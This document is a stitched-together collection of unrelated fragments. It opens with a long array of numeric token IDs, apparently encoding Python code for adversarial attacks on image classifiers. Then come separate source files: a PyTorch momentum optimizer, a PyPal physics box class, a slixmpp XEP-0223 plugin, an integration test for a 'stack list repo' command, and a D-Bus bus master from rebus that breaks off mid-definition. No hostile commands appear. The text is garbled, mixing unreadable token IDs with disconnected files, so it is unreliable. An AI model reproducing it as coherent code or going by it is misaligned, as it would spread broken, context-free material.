29962,
353,
29871,
29900,
13,
13,
4706,
1683,
29901,
13,
9651,
396,
17946,
411,
385,
334,
348,
10700,
28179,
29930,
1967,
29892,
408,
445,
1122,
2307,
367,
3307,
304,
17928,
278,
3646,
1904,
13,
9651,
6782,
29918,
10700,
28179,
353,
443,
10700,
28179,
29918,
3027,
13,
632,
13,
9651,
1596,
703,
26036,
12965,
338,
376,
718,
851,
29898,
9302,
29889,
1191,
3317,
29898,
29888,
4299,
29889,
11333,
29898,
3286,
571,
29918,
10700,
28179,
29961,
8516,
12622,
876,
13,
9651,
1596,
703,
3338,
618,
8760,
3858,
338,
376,
718,
851,
29898,
9302,
29889,
1191,
3317,
29898,
2057,
29918,
509,
2806,
29918,
1643,
4961,
13,
13,
13,
9651,
396,
29479,
2740,
363,
6782,
5337,
408,
1304,
297,
1102,
1501,
634,
394,
29936,
2729,
373,
775,
4944,
491,
529,
5813,
29958,
313,
29933,
621,
479,
12016,
29897,
13,
9651,
5305,
353,
6257,
29918,
328,
27547,
448,
443,
10700,
28179,
29918,
3027,
13,
9651,
4319,
353,
29871,
29900,
13,
9651,
1781,
353,
6213,
13,
9651,
321,
3232,
29918,
19541,
353,
29871,
29896,
13,
9651,
413,
353,
29871,
29896,
29900,
13,
13,
9651,
396,
29934,
481,
333,
368,
12439,
6257,
1298,
363,
7581,
2740,
13,
9651,
363,
903,
297,
3464,
29898,
29895,
1125,
13,
18884,
6782,
29918,
10700,
28179,
353,
443,
10700,
28179,
29918,
3027,
718,
321,
3232,
29918,
19541,
334,
5305,
13,
18884,
6782,
29918,
10700,
28179,
353,
7442,
29889,
24049,
29898,
3286,
571,
29918,
10700,
28179,
29892,
29871,
29900,
29892,
29871,
29896,
29897,
13,
462,
13,
18884,
1596,
703,
29923,
3232,
338,
376,
718,
851,
29898,
5463,
29918,
19541,
876,
13,
18884,
565,
313,
9302,
29889,
1191,
3317,
29898,
29888,
4299,
29889,
11333,
29898,
3286,
571,
29918,
10700,
28179,
29961,
8516,
12622,
2804,
7442,
29889,
1191,
3317,
29898,
2057,
29918,
509,
2806,
29918,
1643,
22164,
13,
462,
1678,
1781,
353,
321,
3232,
29918,
19541,
13,
462,
1678,
2867,
13,
18884,
1683,
29901,
13,
462,
1678,
4319,
353,
321,
3232,
29918,
19541,
13,
13,
18884,
321,
3232,
29918,
19541,
334,
29922,
29871,
29906,
13,
13,
9651,
1596,
703,
13555,
25658,
7581,
2740,
29892,
278,
12965,
338,
376,
718,
851,
29898,
9302,
29889,
1191,
3317,
29898,
29888,
4299,
29889,
11333,
29898,
3286,
571,
29918,
10700,
28179,
29961,
8516,
12622,
876,
13,
29871,
13,
9651,
565,
7442,
29889,
1191,
3317,
29898,
29888,
4299,
29889,
11333,
29898,
3286,
571,
29918,
10700,
28179,
29961,
8516,
12622,
1275,
7442,
29889,
1191,
3317,
29898,
2057,
29918,
509,
2806,
29918,
1643,
1125,
13,
18884,
1596,
703,
1252,
1112,
2556,
2740,
5229,
1159,
13,
18884,
19901,
653,
29918,
19244,
29961,
3188,
29918,
5696,
29918,
1524,
29892,
1342,
29918,
1524,
29962,
353,
7442,
29889,
7192,
13,
18884,
1596,
703,
1576,
5418,
338,
376,
718,
851,
29898,
328,
27547,
29918,
19244,
29961,
3188,
29918,
5696,
29918,
1524,
29892,
1342,
29918,
1524,
12622,
13,
13,
9651,
1683,
29901,
13,
18884,
363,
903,
297,
3464,
29898,
29895,
1125,
13,
462,
1678,
321,
3232,
29918,
19541,
353,
313,
16773,
718,
4319,
29897,
847,
29871,
29906,
29889,
13,
462,
1678,
6782,
29918,
10700,
28179,
353,
443,
10700,
28179,
29918,
3027,
718,
321,
3232,
29918,
19541,
334,
5305,
13,
462,
1678,
6782,
29918,
10700,
28179,
353,
7442,
29889,
24049,
29898,
3286,
571,
29918,
10700,
28179,
29892,
29871,
29900,
29892,
29871,
29896,
29897,
13,
13,
462,
1678,
565,
313,
9302,
29889,
1191,
3317,
29898,
29888,
4299,
29889,
11333,
29898,
3286,
571,
29918,
10700,
28179,
29961,
8516,
12622,
2804,
7442,
29889,
1191,
3317,
29898,
2057,
29918,
509,
2806,
29918,
1643,
22164,
13,
462,
4706,
1781,
353,
321,
3232,
29918,
19541,
13,
462,
1678,
1683,
29901,
13,
462,
4706,
4319,
353,
321,
3232,
29918,
19541,
13,
13,
18884,
19901,
653,
29918,
19244,
29961,
3188,
29918,
5696,
29918,
1524,
29892,
1342,
29918,
1524,
1402,
903,
353,
1583,
29889,
19244,
29918,
16414,
29898,
348,
10700,
28179,
29918,
3027,
29889,
1579,
8606,
3285,
6782,
29918,
10700,
28179,
29889,
1579,
8606,
3101,
13,
18884,
1596,
703,
13555,
3918,
7581,
2740,
29892,
278,
12965,
338,
376,
718,
851,
29898,
9302,
29889,
1191,
3317,
29898,
29888,
4299,
29889,
11333,
29898,
3286,
571,
29918,
10700,
28179,
29961,
8516,
12622,
876,
13,
18884,
1596,
703,
1576,
5418,
338,
376,
718,
851,
29898,
328,
27547,
29918,
19244,
29961,
3188,
29918,
5696,
29918,
1524,
29892,
1342,
29918,
1524,
12622,
13,
13,
4706,
736,
19901,
653,
29918,
19244,
13,
13,
13,
29937,
17435,
365,
29899,
29900,
6652,
749,
6212,
26514,
18610,
13,
13,
1990,
1298,
3538,
29918,
1131,
547,
29918,
29931,
29900,
29898,
3560,
29918,
1131,
547,
1125,
13,
1678,
5337,
29918,
5696,
353,
17928,
1884,
29889,
1131,
26514,
29889,
5228,
3538,
4165,
547,
13,
1678,
17928,
1884,
29918,
19244,
29918,
16414,
353,
17928,
1884,
29889,
5721,
2925,
29889,
29931,
29900,
396,
4013,
338,
278,
5418,
12714,
1304,
2645,
13883,
491,
383,
1507,
3313,
16661,
13,
1678,
5337,
29918,
1853,
29918,
3972,
353,
525,
5228,
3538,
29918,
29931,
29900,
29915,
13,
13,
1678,
396,
4013,
338,
278,
5418,
12714,
1304,
304,
19745,
1082,
278,
2186,
24610,
310,
278,
4133,
4558,
515,
278,
2441,
13,
1678,
822,
5418,
29918,
16414,
29898,
1311,
29892,
4608,
29896,
29892,
4608,
29906,
1125,
13,
4706,
5418,
353,
4560,
2272,
29889,
1028,
15238,
29889,
19244,
29889,
3391,
4056,
29898,
8111,
29896,
29892,
4608,
29906,
11877,
2435,
29898,
8111,
29896,
29897,
13,
4706,
5418,
29918,
978,
353,
525,
29950,
314,
4056,
313,
29931,
29899,
29900,
16029,
13,
4706,
736,
5418,
29892,
5418,
29918,
978,
13,
13,
1990,
15795,
29918,
412,
2496,
29918,
1131,
547,
29898,
3149,
3538,
29918,
1131,
547,
29918,
29931,
29900,
1125,
13,
1678,
396,
797,
27069,
278,
8393,
310,
278,
1298,
3538,
29918,
1131,
547,
29918,
29931,
29900,
770,
29892,
769,
26556,
278,
5337,
1158,
13,
1678,
5337,
29918,
5696,
353,
17928,
1884,
29889,
1131,
26514,
29889,
29903,
1997,
2855,
15666,
2496,
3782,
895,
4165,
547,
13,
1678,
5337,
29918,
1853,
29918,
3972,
353,
525,
29903,
1997,
29918,
392,
29918,
15666,
2496,
29915,
13,
13,
13,
29937,
17435,
365,
29899,
29906,
6652,
749,
6212,
26514,
18610,
13,
13,
1990,
1999,
2760,
29918,
1217,
895,
29918,
1131,
547,
29898,
3560,
29918,
1131,
547,
1125,
13,
1678,
5337,
29918,
1853,
29918,
3972,
353,
525,
10358,
2760,
29918,
1217,
895,
29915,
13,
1678,
396,
2887,
278,
3847,
5337,
2307,
3913,
278,
1999,
2760,
9090,
11462,
5337,
491,
2322,
29892,
694,
3620,
526,
5181,
13,
13,
1990,
330,
17019,
29918,
1217,
895,
29918,
1131,
547,
29898,
3560,
29918,
1131,
547,
1125,
13,
1678,
5337,
29918,
5696,
353,
17928,
1884,
29889,
1131,
26514,
29889,
2528,
3321,
29954,
17019,
3782,
895,
4165,
547,
13,
1678,
5337,
29918,
1853,
29918,
3972,
353,
525,
29954,
17019,
29918,
1217,
895,
29915,
13,
13,
1990,
1298,
3538,
29918,
1131,
547,
29918,
29931,
29906,
29898,
3560,
29918,
1131,
547,
1125,
13,
1678,
396,
9842,
445,
1873,
310,
278,
1298,
29899,
3538,
5337,
7846,
1169,
278,
365,
29906,
5418,
12714,
515,
278,
3847,
770,
13,
1678,
5337,
29918,
5696,
353,
17928,
1884,
29889,
1131,
26514,
29889,
5228,
3538,
4165,
547,
13,
1678,
5337,
29918,
1853,
29918,
3972,
353,
525,
5228,
3538,
29918,
29931,
29906,
29915,
13,
13,
1990,
383,
21576,
29918,
1131,
547,
29898,
3560,
29918,
1131,
547,
1125,
13,
1678,
5337,
29918,
5696,
353,
17928,
1884,
29889,
1131,
26514,
29889,
25584,
993,
10140,
4165,
547,
13,
1678,
5337,
29918,
1853,
29918,
3972,
353,
525,
29943,
21576,
29915,
268,
13,
1678,
396,
5337,
29918,
5696,
353,
17928,
1884,
29889,
1131,
26514,
29889,
25584,
993,
4165,
547,
13,
1678,
396,
5337,
29918,
1853,
29918,
3972,
353,
525,
29943,
21576,
29915,
13,
13,
1990,
350,
7833,
29918,
29931,
29906,
29918,
1131,
547,
29898,
3560,
29918,
1131,
547,
1125,
13,
1678,
5337,
29918,
5696,
353,
17928,
1884,
29889,
1131,
26514,
29889,
29931,
29906,
16616,
13463,
1230,
4165,
547,
13,
1678,
5337,
29918,
1853,
29918,
3972,
353,
525,
29933,
7833,
29918,
29931,
29906,
29915,
13,
13,
1990,
21784,
29943,
1507,
29918,
29931,
29906,
29918,
1131,
547,
29898,
3560,
29918,
1131,
547,
1125,
13,
1678,
5337,
29918,
5696,
353,
17928,
1884,
29889,
1131,
26514,
29889,
2772,
1022,
29943,
1507,
29931,
29906,
4165,
547,
13,
1678,
5337,
29918,
1853,
29918,
3972,
353,
525,
2772,
1022,
29943,
1507,
29918,
29931,
29906,
29915,
13,
13,
1990,
10452,
29918,
1131,
547,
29898,
3560,
29918,
1131,
547,
1125,
13,
1678,
396,
3563,
3539,
3847,
5823,
363,
1023,
5684,
8393,
584,
954,
29918,
1524,
800,
322,
1480,
29918,
17991,
29918,
29876,
29918,
24530,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
5337,
29918,
27774,
29892,
13,
462,
1678,
28770,
291,
29922,
1181,
324,
1884,
29889,
29883,
21977,
29889,
29924,
275,
1990,
2450,
3285,
29871,
13,
462,
1678,
954,
29918,
1524,
800,
29922,
29945,
29900,
29892,
13,
462,
1678,
1480,
29918,
17991,
29918,
29876,
29918,
24530,
29922,
29945,
29900,
1125,
13,
9651,
3847,
29918,
1131,
547,
17255,
2344,
12035,
1311,
29892,
5337,
29918,
27774,
29892,
13,
462,
1678,
28770,
291,
29897,
13,
9651,
1583,
29889,
1949,
29918,
1524,
800,
353,
954,
29918,
1524,
800,
13,
9651,
1583,
29889,
1188,
29918,
17991,
29918,
29876,
29918,
24530,
353,
1480,
29918,
17991,
29918,
29876,
29918,
24530,
13,
268,
13,
1678,
5337,
29918,
5696,
353,
17928,
1884,
29889,
1131,
26514,
29889,
17109,
653,
4165,
547,
13,
1678,
5337,
29918,
1853,
29918,
3972,
353,
525,
17109,
653,
29915,
13,
13,
1678,
396,
3563,
3539,
1653,
19901,
27521,
1158,
29892,
408,
278,
10452,
5337,
4893,
263,
6790,
1353,
310,
24372,
13,
1678,
822,
1653,
29918,
328,
874,
27521,
29898,
1311,
29892,
8225,
29918,
1272,
29892,
8225,
29918,
1643,
1125,
13,
13,
4706,
19901,
27521,
29879,
353,
1583,
29889,
1131,
547,
29918,
29888,
4299,
29898,
22256,
29918,
1272,
29892,
8225,
29918,
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labs/08_frameworks/solutions/momentum_optimizer.py | soufiomario/labs-Deep-learning | 1,398 | 116986 | class MomentumGradientDescent(GradientDescent):
def __init__(self, params, lr=0.1, momentum=.9):
super(MomentumGradientDescent, self).__init__(params, lr)
self.momentum = momentum
self.velocities = [torch.zeros_like(param, requires_grad=False)
for param in params]
def step(self):
with torch.no_grad():
for i, (param, velocity) in enumerate(zip(self.params,
self.velocities)):
velocity = self.momentum * velocity + param.grad
param -= self.lr * velocity
self.velocities[i] = velocity
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pypal/body/box.py | code-forger/PyPal | 0 | 1615439 | <reponame>code-forger/PyPal<filename>pypal/body/box.py
from pypal import private_globals as _pal
import ctypes as c
import weakref
from body import Body
class Box(Body):
""" A Dynamic Ridgid Cuboid. """
def __init__(self, pos, size, mass = 1.):
"""
Parameters:
pos: ``float[3]`` The x, y, z position of the Box.
size: ``float[3]`` The width, height, depth, of the Box.
mass: ``float`` The mass of the Box.
"""
self._size = size
self.obj = _pal.lib.body_box_create(c.c_float(pos[0]),c.c_float(pos[1]),c.c_float(pos[2]),c.c_float(size[0]),c.c_float(size[1]),c.c_float(size[2]),c.c_float(mass))
self._body_base = _pal.lib.cast_box_body_base(self.obj)
self._body = _pal.lib.cast_box_body(self.obj)
def __str__(self):
x, y, z = self.get_position()
return "A Box at : %.2f, %.2f, %.2f" % (x, y, z)
def get_size(self):
""" Returns the size of the object in a 3 part tuple. """
return self._size | [
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slixmpp/plugins/xep_0223.py | marconfus/slixmpp | 0 | 18246 | """
Slixmpp: The Slick XMPP Library
Copyright (C) 2012 <NAME>, <NAME>
This file is part of Slixmpp.
See the file LICENSE for copying permission.
"""
import logging
from slixmpp.xmlstream import register_stanza_plugin
from slixmpp.plugins.base import BasePlugin, register_plugin
log = logging.getLogger(__name__)
class XEP_0223(BasePlugin):
"""
XEP-0223: Persistent Storage of Private Data via PubSub
"""
name = 'xep_0223'
description = 'XEP-0223: Persistent Storage of Private Data via PubSub'
dependencies = {'xep_0163', 'xep_0060', 'xep_0004'}
profile = {'pubsub#persist_items': True,
'pubsub#access_model': 'whitelist'}
def configure(self, node, ifrom=None, callback=None, timeout=None):
"""
Update a node's configuration to match the public storage profile.
"""
# TODO: that cannot possibly work, why is this here?
config = self.xmpp['xep_0004'].Form()
config['type'] = 'submit'
for field, value in self.profile.items():
config.add_field(var=field, value=value)
return self.xmpp['xep_0060'].set_node_config(None, node, config,
ifrom=ifrom,
callback=callback,
timeout=timeout)
def store(self, stanza, node=None, id=None, ifrom=None, options=None,
callback=None, timeout=None, timeout_callback=None):
"""
Store private data via PEP.
This is just a (very) thin wrapper around the XEP-0060 publish()
method to set the defaults expected by PEP.
Arguments:
stanza -- The private content to store.
node -- The node to publish the content to. If not specified,
the stanza's namespace will be used.
id -- Optionally specify the ID of the item.
options -- Publish options to use, which will be modified to
fit the persistent storage option profile.
ifrom -- Specify the sender's JID.
timeout -- The length of time (in seconds) to wait for a response
before exiting the send call if blocking is used.
Defaults to slixmpp.xmlstream.RESPONSE_TIMEOUT
callback -- Optional reference to a stream handler function. Will
be executed when a reply stanza is received.
"""
if not options:
options = self.xmpp['xep_0004'].stanza.Form()
options['type'] = 'submit'
options.add_field(
var='FORM_TYPE',
ftype='hidden',
value='http://jabber.org/protocol/pubsub#publish-options')
fields = options['fields']
for field, value in self.profile.items():
if field not in fields:
options.add_field(var=field)
options.get_fields()[field]['value'] = value
return self.xmpp['xep_0163'].publish(stanza, node, options=options,
ifrom=ifrom, callback=callback,
timeout=timeout,
timeout_callback=timeout_callback)
def retrieve(self, node, id=None, item_ids=None, ifrom=None,
callback=None, timeout=None, timeout_callback=None):
"""
Retrieve private data via PEP.
This is just a (very) thin wrapper around the XEP-0060 publish()
method to set the defaults expected by PEP.
Arguments:
node -- The node to retrieve content from.
id -- Optionally specify the ID of the item.
item_ids -- Specify a group of IDs. If id is also specified, it
will be included in item_ids.
ifrom -- Specify the sender's JID.
timeout -- The length of time (in seconds) to wait for a response
before exiting the send call if blocking is used.
Defaults to slixmpp.xmlstream.RESPONSE_TIMEOUT
callback -- Optional reference to a stream handler function. Will
be executed when a reply stanza is received.
"""
if item_ids is None:
item_ids = []
if id is not None:
item_ids.append(id)
return self.xmpp['xep_0060'].get_items(None, node,
item_ids=item_ids, ifrom=ifrom,
callback=callback, timeout=timeout,
timeout_callback=timeout_callback)
register_plugin(XEP_0223)
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] |
test-framework/test-suites/integration/tests/list/test_list_repo.py | sammeidinger/stack | 123 | 22272 | import json
class TestListRepo:
def test_invalid(self, host):
result = host.run('stack list repo test')
assert result.rc == 255
assert result.stderr.startswith('error - ')
def test_args(self, host, add_repo):
# Add a second repo so we can make sure it is skipped
add_repo('test2', 'test2url')
# Run list repo with just the test box
result = host.run('stack list repo test output-format=json')
assert result.rc == 0
# Make sure we got data only for the test box
repo_data = json.loads(result.stdout)
assert len(repo_data) == 1
assert repo_data[0]['name'] == 'test'
# now get all of them
# assert both repos are in the list data
result = host.run('stack list repo output-format=json')
repo_data = json.loads(result.stdout)
assert len(repo_data) == 2
assert {'test', 'test2'} == {repo['name'] for repo in repo_data}
# now get all of them, by explicitly asking for them
# assert both repos are in the list data
result = host.run('stack list repo test test2 output-format=json')
new_repo_data = json.loads(result.stdout)
assert len(new_repo_data) == 2
assert {'test', 'test2'} == {repo['name'] for repo in new_repo_data}
def test_removed_not_listed(self, host, add_repo, revert_etc):
# Run list repo with just the test box
result = host.run('stack list repo test output-format=json')
assert result.rc == 0
# Make sure we got data only for the test box
repo_data = json.loads(result.stdout)
assert len(repo_data) == 1
assert repo_data[0]['name'] == 'test'
result = host.run('stack remove repo test')
assert result.rc == 0
# Run list repo again
result = host.run('stack list repo test output-format=json')
assert result.rc == 255
assert result.stderr.startswith('error - ')
def test_expanded_columns(self, host, host_os, add_repo):
# Run list repo with just the test box
result = host.run('stack list repo test expanded=true output-format=json')
assert result.rc == 0
assert json.loads(result.stdout) == [
{
"name": "test",
"alias": "test",
"url": "test_url",
"autorefresh": False,
"assumeyes": False,
"type": "rpm-md",
"is_mirrorlist": False,
"gpgcheck": False,
"gpgkey": None,
"os": host_os,
"pallet name": None
}
]
def test_add_repo_with_pallet(self, host, host_os, add_repo, create_pallet_isos, revert_export_stack_pallets, revert_pallet_hooks, revert_etc):
result = host.run(f'stack add pallet {create_pallet_isos}/minimal-1.0-sles12.x86_64.disk1.iso')
#result = host.run(f'stack add pallet /root/minimal-1.0-sles12.x86_64.disk1.iso')
assert result.rc == 0
result = host.run('stack list pallet minimal output-format=json')
assert result.rc == 0
pallet_data = json.loads(result.stdout)
assert len(pallet_data) == 1
# get pallet id, as well as the -'d name in the correct order
from stack.commands import DatabaseConnection, get_mysql_connection, Command
from stack.argument_processors.pallet import PalletArgProcessor
from operator import attrgetter
p = PalletArgProcessor()
p.db = DatabaseConnection(get_mysql_connection())
minimal_pallet = p.get_pallets(args=['minimal'], params=pallet_data[0])[0]
pallet_name = '-'.join(attrgetter('name', 'version', 'rel', 'os', 'arch')(minimal_pallet))
# now attach the test repo to the pallet
result = host.run(f'stack set repo test pallet={minimal_pallet.id}')
assert result.rc == 0
# now verify it is attached to that pallet
result = host.run('stack list repo test expanded=true output-format=json')
assert result.rc == 0
assert json.loads(result.stdout) == [
{
"name": "test",
"alias": "test",
"url": "test_url",
"autorefresh": False,
"assumeyes": False,
"type": "rpm-md",
"is_mirrorlist": False,
"gpgcheck": False,
"gpgkey": None,
"os": host_os,
"pallet name": pallet_name
}
]
# now verify that removing that pallet removes the repo as well
result = host.run('stack remove pallet minimal')
assert result.rc == 0
result = host.run('stack list repo')
assert result.rc == 0
assert result.stdout == ''
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rebus/buses/dbusbus/master.py | dev-pro-jma/rebus | 25 | 1603590 | #! /usr/bin/env python
import sys
import signal
from collections import Counter, defaultdict
import dbus.service
import dbus.glib
from dbus.mainloop.glib import DBusGMainLoop
from rebus.descriptor import Descriptor
import gobject
import logging
from rebus.tools.config import get_output_altering_options
from rebus.tools.serializer import b64serializer as serializer
from rebus.busmaster import BusMaster
from rebus.tools.sched import Sched
from rebus.tools import format_check
log = logging.getLogger("rebus.bus")
@BusMaster.cls_register
class DBusMaster(dbus.service.Object, BusMaster):
_name_ = "dbus"
_desc_ = "Use RabbitMQ to exchange messages"
def __init__(self, bus, objpath, store):
dbus.service.Object.__init__(self, bus, objpath)
self.store = store
#: maps agentid (ex. inject-:1.234) to object path (ex:
#: /agent/inject)
self.clients = {}
self.exiting = False
#: locks[domain] is a set of (lockid, selector) whose processing
#: has started (might even be finished). Allows several agents that
#: perform the same stateless computation to run in parallel
self.locks = defaultdict(set)
signal.signal(signal.SIGTERM, self._sigterm_handler)
#: maps agentids to their names
self.agentnames = {}
#: maps agentids to their serialized configuration - output altering
#: options only
self.agents_output_altering_options = {}
#: maps agentids to their serialized configuration
self.agents_full_config_txts = {}
#: monotonically increasing user request counter
self.userrequestid = 0
#: number of descriptors
self.descriptor_count = 0
#: count descriptors marked as processed/processable by each uniquely
#: configured agent
self.descriptor_handled_count = {}
#: uniq_conf_clients[(agent_name, config_txt)] = [agent_id, ...]
self.uniq_conf_clients = defaultdict(list)
#: retry_counters[(agent_name, config_txt, domain, selector)] = \
#: number of remaining retries
self.retry_counters = defaultdict(dict)
self.sched = Sched(self._sched_inject)
def _update_check_idle(self, agent_name, output_altering_options):
"""
Increases the count of handled descriptors and checks
if all descriptors have been handled (processed/marked
as processable).
In that case, send the "on_idle" message.
"""
name_config = (agent_name, output_altering_options)
self.descriptor_handled_count[name_config] += 1
self._check_idle()
def _check_idle(self):
if self.exiting:
return
# Check if we have reached idle state
nbdistinctagents = len(self.descriptor_handled_count)
nbhandlings = sum(self.descriptor_handled_count.values())
if self.descriptor_count*nbdistinctagents == nbhandlings:
log.debug("IDLE: %d agents having distinct (name, config) %d "
"descriptors %d handled", nbdistinctagents,
self.descriptor_count, nbhandlings)
self.on_idle()
@dbus.service.method(dbus_interface='com.airbus.rebus.bus',
in_signature='ssosb', out_signature='')
def register(self, agent_id, agent_domain, pth, config_txt,
processes_descriptors):
#: indicates whether another instance of the same agent is already
#: running with the same configuration
if not format_check.is_valid_domain(agent_domain):
return
agent_name = agent_id.split('-', 1)[0]
self.agentnames[agent_id] = agent_name
output_altering_options = get_output_altering_options(str(config_txt))
name_config = (agent_name, output_altering_options)
already_running = len(self.uniq_conf_clients[name_config]) > 1
self.uniq_conf_clients[name_config].append(agent_id)
self.clients[agent_id] = pth
self.agents_output_altering_options[agent_id] = output_altering_options
self.agents_full_config_txts[agent_id] = str(config_txt)
log.info("New client %s (%s) in domain %s with config %s", pth,
agent_id, agent_domain, config_txt)
if not processes_descriptors:
self.descriptor_handled_count[name_config] = 0
elif not already_running:
# Send not-yet processed descriptors to the agent,
# unless another instance of the same agent has already been
# started, and should be processing those descriptors
unprocessed = \
self.store.list_unprocessed_by_agent(agent_name,
output_altering_options)
self.descriptor_handled_count[name_config] = \
self.descriptor_count - len(unprocessed)
for dom, uuid, sel in unprocessed:
self.targeted_descriptor("storage", dom, uuid, sel,
[agent_name], False)
@dbus.service.method(dbus_interface='com.airbus.rebus.bus',
in_signature='s', out_signature='')
def unregister(self, agent_id):
log.info("Agent %s has unregistered", agent_id)
agent_name = self.agentnames[agent_id]
options = self.agents_output_altering_options[agent_id]
name_config = (agent_name, options)
self.uniq_conf_clients[name_config].remove(agent_id)
if len(self.uniq_conf_clients[name_config]) == 0:
del self.descriptor_handled_count[name_config]
del self.clients[agent_id]
self._check_idle()
if self.exiting:
if len(self.clients) == 0:
log.info("Exiting - no agents are running")
self.mainloop.quit()
else:
log.info("Expecting %u more agents to exit (ex. %s)",
len(self.clients), self.clients.keys()[0])
@dbus.service.method(dbus_interface='com.airbus.rebus.bus',
in_signature='ssss', out_signature='b')
def lock(self, agent_id, lockid, desc_domain, selector):
if not format_check.is_valid_domain(desc_domain):
return False
if not format_check.is_valid_fullselector(selector):
return False
objpath = self.clients[agent_id]
locks = self.locks[desc_domain]
key = (lockid, selector)
log.debug("LOCK:%s %s(%s) => %r %s:%s ", lockid, objpath, agent_id,
key in locks, desc_domain, selector)
if key in locks:
return False
locks.add(key)
return True
@dbus.service.method(dbus_interface='com.airbus.rebus.bus',
in_signature='ssssbuu', out_signature='')
def unlock(self, agent_id, lockid, desc_domain, selector,
processing_failed, retries, wait_time):
if not format_check.is_valid_domain(desc_domain):
return
if not format_check.is_valid_fullselector(selector):
return
objpath = self.clients[agent_id]
locks = self.locks[desc_domain]
lkey = (lockid, selector)
log.debug("UNLOCK:%s %s(%s) => %r %d:%d ", lockid, objpath, agent_id,
processing_failed, retries, wait_time)
if lkey not in locks:
return
locks.remove(lkey)
# find agent_name, config_txt
for (agent_name, config_txt), ids in self.uniq_conf_clients.items():
if agent_id in ids:
break
rkey = (agent_name, config_txt, desc_domain, selector)
if rkey not in self.retry_counters:
self.retry_counters[rkey] = retries
if self.retry_counters[rkey] > 0:
self.retry_counters[rkey] -= 1
desc = self.store.get_descriptor(desc_domain, selector)
uuid = desc.uuid
self.sched.add_action(wait_time, (agent_id, desc_domain, uuid,
selector, agent_name))
@dbus.service.method(dbus_interface='com.airbus.rebus.bus',
in_signature='ss', out_signature='b')
def push(self, agent_id, serialized_descriptor):
descriptor = Descriptor.unserialize(serializer,
str(serialized_descriptor))
desc_domain = str(descriptor.domain)
uuid = str(descriptor.uuid)
selector = str(descriptor.selector)
# ensure processing terminates
if not format_check.processing_depth(self.store, descriptor):
log.warning("Refusing descriptor %s:%s received from %s: loop or "
">2 ancestors having the same descriptor", agent_id,
desc_domain, selector)
return False
if self.store.add(descriptor):
self.descriptor_count += 1
log.debug("PUSH: %s => %s:%s", agent_id, desc_domain, selector)
if not self.exiting:
self.new_descriptor(agent_id, desc_domain, uuid, selector)
# useful in case all agents are in idle/interactive mode
self._check_idle()
return True
else:
log.debug("PUSH: %s already seen => %s:%s", agent_id, desc_domain,
selector)
return False
@dbus.service.method(dbus_interface='com.airbus.rebus.bus',
in_signature='sss', out_signature='s')
def get(self, agent_id, desc_domain, selector):
log.debug("GET: %s %s:%s", agent_id, desc_domain, selector)
if not format_check.is_valid_domain(desc_domain):
return None
if not format_check.is_valid_selector(selector):
return None
desc = self.store.get_descriptor(str(desc_domain), str(selector))
if desc is None:
return ""
return desc.serialize_meta(serializer)
@dbus.service.method(dbus_interface='com.airbus.rebus.bus',
in_signature='sss', out_signature='s')
def get_value(self, agent_id, desc_domain, selector):
log.debug("GETVALUE: %s %s:%s", agent_id, desc_domain, selector)
if not format_check.is_valid_domain(desc_domain):
return None
if not format_check.is_valid_selector(selector):
return None
value = self.store.get_value(str(desc_domain), str(selector))
if value is None:
return ""
return serializer.dumps(value)
@dbus.service.method(dbus_interface='com.airbus.rebus.bus',
in_signature='ss', out_signature='a{ss}')
def list_uuids(self, agent_id, desc_domain):
log.debug("LISTUUIDS: %s %s", agent_id, desc_domain)
if not format_check.is_valid_domain(desc_domain):
return {}
return self.store.list_uuids(str(desc_domain))
@dbus.service.method(dbus_interface='com.airbus.rebus.bus',
in_signature='sssuu', out_signature='as')
def find(self, agent_id, desc_domain, selector_regex, limit=0, offset=0):
log.debug("FIND: %s %s:%s (max %d skip %d)", agent_id, desc_domain,
selector_regex, limit, offset)
if not format_check.is_valid_domain(desc_domain):
return []
selectors = self.store.find(
str(desc_domain), str(selector_regex), str(limit), int(offset))
return [str(s) for s in selectors]
@dbus.service.method(dbus_interface='com.airbus.rebus.bus',
in_signature='sssuu', out_signature='as')
def find_by_selector(self, agent_id, desc_domain, selector_prefix, limit=0,
offset=0):
log.debug("FINDBYVALUE: %s %s %s (max %d skip %d)", agent_id,
desc_domain, selector_prefix, limit, offset)
if not format_check.is_valid_domain(desc_domain):
return []
descs = self.store.find_by_selector(
str(desc_domain), str(selector_prefix), int(limit), int(offset))
return [desc.serialize_meta(serializer) for desc in descs]
@dbus.service.method(dbus_interface='com.airbus.rebus.bus',
in_signature='sss', out_signature='as')
def find_by_uuid(self, agent_id, desc_domain, uuid):
log.debug("FINDBYUUID: %s %s:%s", agent_id, desc_domain, uuid)
if not format_check.is_valid_domain(desc_domain):
return []
descs = self.store.find_by_uuid(str(desc_domain), str(uuid))
return [desc.serialize_meta(serializer) for desc in descs]
@dbus.service.method(dbus_interface='com.airbus.rebus.bus',
in_signature='ssss', out_signature='as')
def find_by_value(self, agent_id, desc_domain, selector_prefix,
value_regex):
log.debug("FINDBYVALUE: %s %s %s %s", agent_id, desc_domain,
selector_prefix, value_regex)
if not format_check.is_valid_domain(desc_domain):
return []
descs = self.store.find_by_value(str(desc_domain),
str(selector_prefix),
str(value_regex))
return [desc.serialize_meta(serializer) for desc in descs]
@dbus.service.method(dbus_interface='com.airbus.rebus.bus',
in_signature='sss', out_signature='')
def mark_processed(self, agent_id, desc_domain, selector):
if not format_check.is_valid_domain(desc_domain):
return
if not format_check.is_valid_fullselector(selector):
return
agent_name = self.agentnames[agent_id]
options = self.agents_output_altering_options[agent_id]
log.debug("MARK_PROCESSED: %s:%s %s %s", desc_domain, selector,
agent_id, options)
isnew = self.store.mark_processed(str(desc_domain), str(selector),
agent_name, str(options))
if isnew:
self._update_check_idle(agent_name, options)
@dbus.service.method(dbus_interface='com.airbus.rebus.bus',
in_signature='sss', out_signature='')
def mark_processable(self, agent_id, desc_domain, selector):
if not format_check.is_valid_domain(desc_domain):
return
if not format_check.is_valid_fullselector(selector):
return
agent_name = self.agentnames[agent_id]
options = self.agents_output_altering_options[agent_id]
log.debug("MARK_PROCESSABLE: %s:%s %s %s", desc_domain, selector,
agent_id, options)
isnew = self.store.mark_processable(str(desc_domain), str(selector),
agent_name, str(options))
if isnew:
self._update_check_idle(agent_name, options)
@dbus.service.method(dbus_interface='com.airbus.rebus.bus',
in_signature='sss', out_signature='aas')
def get_processable(self, agent_id, desc_domain, selector):
if not format_check.is_valid_domain(desc_domain):
return []
if not format_check.is_valid_fullselector(selector):
return []
log.debug("GET_PROCESSABLE: %s:%s %s", desc_domain, selector, agent_id)
return self.store.get_processable(str(desc_domain), str(selector))
@dbus.service.method(dbus_interface='com.airbus.rebus.bus',
